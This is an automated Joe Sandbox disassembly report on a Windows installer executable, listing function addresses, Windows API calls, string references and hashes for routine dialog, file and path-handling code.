Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 728267699a9b44ddad9e6e694247195ab13049bac6004c2e56fc09e99b3f0f19
Instruction ID: 4c5c04567c480c11bae84e94003d2882b37cb3083c3cc1db03504fe221b835f3
Opcode Fuzzy Hash: 728267699a9b44ddad9e6e694247195ab13049bac6004c2e56fc09e99b3f0f19
Instruction Fuzzy Hash: DAE08631500119BBCF215E619C00A973B5CEB09362F008033FA04E9190D532DB109BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00403F18 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetDlgItemTextA.USER32(?,?,00000000), ref: 00403F32

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: ItemText
String ID:
API String ID: 3367045223-0
Opcode ID: 3e813572aabfc24dd457d3397d8ae2cb884b5dfcfb659632984281e934c33c5c
Instruction ID: 32956ba5a052c000d200729fffd4f2c944d874cb1110b62223aa4bdd109d9e57
Opcode Fuzzy Hash: 3e813572aabfc24dd457d3397d8ae2cb884b5dfcfb659632984281e934c33c5c
Instruction Fuzzy Hash: E4C08C31048200BFD241AB04CC42F1FB3A8EFA0327F00C92EB05CE00D2C634D420CE2A

Uniqueness

Uniqueness Score: -1.00%

Function 00403F64 Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32 ref: 00403F76

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 74a19277012f6d931596f598d2f6ffa2ec736fc7041dbb57cfa43a045af561dc
Instruction ID: 4934297729c285da13a483c37f1bad53b44c21571947472378d90217470b6476
Opcode Fuzzy Hash: 74a19277012f6d931596f598d2f6ffa2ec736fc7041dbb57cfa43a045af561dc
Instruction Fuzzy Hash: 6CC04C71B442017AEA209F619D45F177B68A754701F5444657204A51D0C674E510D61D

Uniqueness

Uniqueness Score: -1.00%

Function 00403F4D Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32 ref: 00403F5B

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 5380ca26047a56ac044db27ec5452a3d407db4c462228856e9187df95d64c5b6
Instruction ID: 0662716cb4741bc9db58cdf5bc89cb1196afa115b106f7c4ea820954fb206898
Opcode Fuzzy Hash: 5380ca26047a56ac044db27ec5452a3d407db4c462228856e9187df95d64c5b6
Instruction Fuzzy Hash: 17B09276685201BADA215B10DE09F457E62E764702F018064B204240B0C6B200A5DB09

Uniqueness

Uniqueness Score: -1.00%

Function 004031F1 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(00000000,00000000,00000000,00402E9D,0000B5E4), ref: 004031FF

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 2028dafccfaa88a297be93e7ba1f52e009ec02dcd94d5fd44c1761bf2bffe23e
Instruction ID: eafd0aff1283cdec3023edec91852d87283cefa69c9b21bce59c6677f93a42a7
Opcode Fuzzy Hash: 2028dafccfaa88a297be93e7ba1f52e009ec02dcd94d5fd44c1761bf2bffe23e
Instruction Fuzzy Hash: 14B01271644200BFDB214F00DF06F057B21A790701F108030B344380F082712420EB1E

Uniqueness

Uniqueness Score: -1.00%

Function 00403F3A Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00403D17,?), ref: 00403F44

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 315e157356e8942ef3b8d7e2082c61631171d9164c942d8812de0ab912510814
Instruction ID: 218003202f2b1835e3bff4e9bf146b8b4f872d9b8cc4e3003fd48478f7f9154f
Opcode Fuzzy Hash: 315e157356e8942ef3b8d7e2082c61631171d9164c942d8812de0ab912510814
Instruction Fuzzy Hash: 09A002755051049BCA519B54DE048057A62A754701741C479B24551575C7315461EB6E

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00404853 Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 478windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 0040486A
GetDlgItem.USER32 ref: 00404877
GlobalAlloc.KERNEL32(00000040,00000001), ref: 004048C3
LoadBitmapA.USER32(0000006E), ref: 004048D6
SetWindowLongA.USER32 ref: 004048F0
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404904
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404918
SendMessageA.USER32 ref: 0040492D
SendMessageA.USER32 ref: 00404939
SendMessageA.USER32 ref: 0040494B
DeleteObject.GDI32 ref: 00404950
SendMessageA.USER32 ref: 0040497B
SendMessageA.USER32 ref: 00404987
SendMessageA.USER32 ref: 00404A1C
SendMessageA.USER32 ref: 00404A47
SendMessageA.USER32 ref: 00404A5B
GetWindowLongA.USER32(?,000000F0), ref: 00404A8A
SetWindowLongA.USER32 ref: 00404A98
ShowWindow.USER32(?,00000005), ref: 00404AA9
SendMessageA.USER32 ref: 00404BAC
SendMessageA.USER32 ref: 00404C11
SendMessageA.USER32 ref: 00404C26
SendMessageA.USER32 ref: 00404C4A
SendMessageA.USER32 ref: 00404C70
ImageList_Destroy.COMCTL32(?), ref: 00404C85
GlobalFree.KERNEL32 ref: 00404C95
SendMessageA.USER32 ref: 00404D05
SendMessageA.USER32 ref: 00404DAE
SendMessageA.USER32 ref: 00404DBD
InvalidateRect.USER32(?,00000000,00000001), ref: 00404DDD
ShowWindow.USER32(?,00000000), ref: 00404E2B
GetDlgItem.USER32 ref: 00404E36
ShowWindow.USER32(00000000), ref: 00404E3D

Strings

M, xrefs: 00404A03
, xrefs: 00404E15
N, xrefs: 00404AE7
d.], xrefs: 00404DE3

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N$d.]
API String ID: 1638840714-968175840
Opcode ID: dede86c728acf6a11cc3ab5fbc78af527f28fbd96654b5baab0c469e43695f01
Instruction ID: 91af9d563adbb526dddc39620d8b288a2aea1bcbb5731436b9e02a5cfbe7d22d
Opcode Fuzzy Hash: dede86c728acf6a11cc3ab5fbc78af527f28fbd96654b5baab0c469e43695f01
Instruction Fuzzy Hash: AB029FB0E00209AFDB21DF54DD45AAE7BB5FB84315F10817AF610BA2E1C7799A42CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00405B88 Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 197stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,Completed,00000000,00404F3C,Completed,00000000), ref: 00405C30
GetSystemDirectoryA.KERNEL32(00422E40,00000400), ref: 00405CAB
GetWindowsDirectoryA.KERNEL32(00422E40,00000400), ref: 00405CBE
SHGetSpecialFolderLocation.SHELL32(?,00000000), ref: 00405CFA
SHGetPathFromIDListA.SHELL32(00000000,00422E40), ref: 00405D08
CoTaskMemFree.OLE32(00000000), ref: 00405D13
lstrcatA.KERNEL32(00422E40,\Microsoft\Internet Explorer\Quick Launch), ref: 00405D35
lstrlenA.KERNEL32(00422E40,00000000,Completed,00000000,00404F3C,Completed,00000000), ref: 00405D87

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405D2F
@.B, xrefs: 00405D91
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405C7A
@.B, xrefs: 00405BB1
d.], xrefs: 00405B95
Completed, xrefs: 00405BB9

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: @.B$@.B$Completed$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch$d.]
API String ID: 900638850-2172572742
Opcode ID: 855ce943f005fc76d33ba75c1c33b75b466f9e158227b928842345586457093f
Instruction ID: 2bb53c71d9fe9ef1e56bc14ab20fd8486271744d1d3ead2cb2ad614034e11287
Opcode Fuzzy Hash: 855ce943f005fc76d33ba75c1c33b75b466f9e158227b928842345586457093f
Instruction Fuzzy Hash: D7510131A04A04AAEF205F64DC88B7B3BA4DF55324F14823BE911B62D0D33C59829E4E

Uniqueness

Uniqueness Score: -1.00%

Function 00404356 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 266stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 004043A2
SetWindowTextA.USER32(?,?), ref: 004043CF
SHBrowseForFolderA.SHELL32(?,0041F870,?), ref: 00404484
CoTaskMemFree.OLE32(00000000), ref: 0040448F
lstrcmpiA.KERNEL32(00422E40,004204A0), ref: 004044C1
lstrcatA.KERNEL32(?,00422E40), ref: 004044CD
SetDlgItemTextA.USER32(?,000003FB,?), ref: 004044DD

Part of subcall function 0040540B: GetDlgItemTextA.USER32 ref: 0040541E

Part of subcall function 00405DC8: CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E20
Part of subcall function 00405DC8: CharNextA.USER32(?,?,?,00000000), ref: 00405E2D
Part of subcall function 00405DC8: CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E32
Part of subcall function 00405DC8: CharPrevA.USER32(?,?,"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E42

GetDiskFreeSpaceA.KERNEL32(0041F468,?,?,0000040F,?,0041F468,0041F468,?,00000000,0041F468,?,?,000003FB,?), ref: 00404596
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004045B1
SetDlgItemTextA.USER32(00000000,00000400,0041F458), ref: 0040462A

Strings

A, xrefs: 0040447D
@.B, xrefs: 004044BB
d.], xrefs: 004045F9

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
String ID: @.B$A$d.]
API String ID: 2246997448-2148420276
Opcode ID: 6525314df4a180c9e7b66623ed26d8b7b6bbf618626a18de822d55977fdbc2f3
Instruction ID: fa341535892c43c3a67d7fcafb17cb6574160925603278dae289bcadb551eaae
Opcode Fuzzy Hash: 6525314df4a180c9e7b66623ed26d8b7b6bbf618626a18de822d55977fdbc2f3
Instruction Fuzzy Hash: 2D9170B1900218BBDB11AFA1CD84AAF7BB8EF45314F10847BF704B6291D77C9A41DB59

Uniqueness

Uniqueness Score: -1.00%

Function 00402020 Relevance: 3.1, APIs: 2, Instructions: 134comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00407384,?,00000001,00407374,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 00402073
MultiByteToWideChar.KERNEL32(?,?,?,000000FF,00409368,00000400,?,00000001,00407374,?,00000000,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040212D

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 20f8b56c3263d051d76756f701b26ac218ff209cd135641c8178b13e20f06e8d
Instruction ID: 0b92ce9401c32f92a97655b67b17bc3e2e7042a2ba93bb40bff56c30807ccd12
Opcode Fuzzy Hash: 20f8b56c3263d051d76756f701b26ac218ff209cd135641c8178b13e20f06e8d
Instruction Fuzzy Hash: 94418E75A00205BFCB40DFA4CD88E9E7BBABF48354B204269FA15FB2D1CA799D41CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040263E Relevance: 1.5, APIs: 1, Instructions: 29fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000002), ref: 0040264D

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: fec3e59c21f88b2afe0d858e3cd58f666a30441cfee8bf2827fa80150cba7d73
Instruction ID: b3d2387cb92b068db8966d6a1439c3c253679041c8135bb289436d91baf53d0e
Opcode Fuzzy Hash: fec3e59c21f88b2afe0d858e3cd58f666a30441cfee8bf2827fa80150cba7d73
Instruction Fuzzy Hash: 42F0A072A04201DBD700EBB49A89AEEB7789B51328F60067BE111F20C1C6B85A459B2E

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcA.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32 ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32 ref: 004010E4
DeleteObject.GDI32 ref: 004010ED
CreateFontIndirectA.GDI32 ref: 00401105
SetBkMode.GDI32 ref: 00401126
SetTextColor.GDI32(00000000,?), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextA.USER32(00000000,Greak Memories of Azur Trke Yama.exe,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32 ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C
Greak Memories of Azur Trke Yama.exe, xrefs: 00401150

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F$Greak Memories of Azur Trke Yama.exe
API String ID: 941294808-269140169
Opcode ID: 1fa3053a276be56ef7da5d68adfba1d9971bfb9fa2beb597bf2db4fb963a824d
Instruction ID: 81477e3a2fde3fb3f26aa953fc06e347994717d76cab2c79682594c458f31f57
Opcode Fuzzy Hash: 1fa3053a276be56ef7da5d68adfba1d9971bfb9fa2beb597bf2db4fb963a824d
Instruction Fuzzy Hash: 8141BC71804249AFCB058FA4CD459BFBFB9FF44314F00802AF551AA1A0C378EA54DFA5

Uniqueness

Uniqueness Score: -1.00%

Function 004058B4 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 144filememoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00405E88: GetModuleHandleA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405E9A
Part of subcall function 00405E88: LoadLibraryA.KERNEL32(?,?,00000000,0040327F,00000008), ref: 00405EA5
Part of subcall function 00405E88: GetProcAddress.KERNEL32(00000000,?), ref: 00405EB6

CloseHandle.KERNEL32(00000000,?,00000000,00000001,00000001,?,00000000,?,?,00405649,?,00000000,000000F1,?), ref: 00405901
GetShortPathNameA.KERNEL32 ref: 0040590A
GetShortPathNameA.KERNEL32 ref: 00405927
wsprintfA.USER32 ref: 00405945
GetFileSize.KERNEL32(00000000,00000000,004220A8,C0000000,00000004,004220A8,?,?,?,00000000,000000F1,?), ref: 00405980
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,00000000,000000F1,?), ref: 0040598F
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,00000000,000000F1,?), ref: 004059A5
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00421CA8,00000000,-0000000A,00409350,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004059EB
WriteFile.KERNEL32(00000000,00000000,?,?,00000000,?,?,00000000,000000F1,?), ref: 004059FD
GlobalFree.KERNEL32 ref: 00405A04
CloseHandle.KERNEL32(00000000,?,?,00000000,000000F1,?), ref: 00405A0B

Part of subcall function 004057B2: lstrlenA.KERNEL32(00000000,?,00000000,00000000,004059C0,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057B9
Part of subcall function 004057B2: lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,004059C0,00000000,[Rename],?,?,00000000,000000F1,?), ref: 004057E9

Strings

0&B, xrefs: 004058EF
[Rename], xrefs: 004059B5, 004059C7
%s=%s, xrefs: 0040593B

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: File$Handle$CloseGlobalNamePathShortlstrlen$AddressAllocFreeLibraryLoadModulePointerProcReadSizeWritewsprintf
String ID: %s=%s$0&B$[Rename]
API String ID: 3772915668-951905037
Opcode ID: 0c179fa3417d280b53e5d95a4378c92fb06f2b6e7dc6de3d5fc3f6893b1dd3a2
Instruction ID: 8912a0e40cac8f66f34925055924fb713260e7a12edb00ecfb1cfbef244c1689
Opcode Fuzzy Hash: 0c179fa3417d280b53e5d95a4378c92fb06f2b6e7dc6de3d5fc3f6893b1dd3a2
Instruction Fuzzy Hash: D9411332B05B11BBD3216B61AD88F6B3A5CDB84715F140136FE05F22C2E678A801CEBD

Uniqueness

Uniqueness Score: -1.00%

Function 00405DC8 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E20
CharNextA.USER32(?,?,?,00000000), ref: 00405E2D
CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E32
CharPrevA.USER32(?,?,"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E42

Strings

"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe", xrefs: 00405DCE
*?|<>/":, xrefs: 00405E10
C:\Users\user\AppData\Local\Temp\, xrefs: 00405DC9, 00405E04

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-1096034545
Opcode ID: d60fa47d96b079028a76cfcdb2d30976ede71f36b1f4f1e1bc9c50cb25bd2be5
Instruction ID: 3b6179abbfe29fc78842bf11aa846075366cc437f950451d76d565b88bc2b460
Opcode Fuzzy Hash: d60fa47d96b079028a76cfcdb2d30976ede71f36b1f4f1e1bc9c50cb25bd2be5
Instruction Fuzzy Hash: A0110861805B9129EB3227284C48BBB7F89CF66754F18447FD8C4722C2C67C5D429FAD

Uniqueness

Uniqueness Score: -1.00%

Function 00403F7F Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00403F9C
GetSysColor.USER32(00000000), ref: 00403FB8
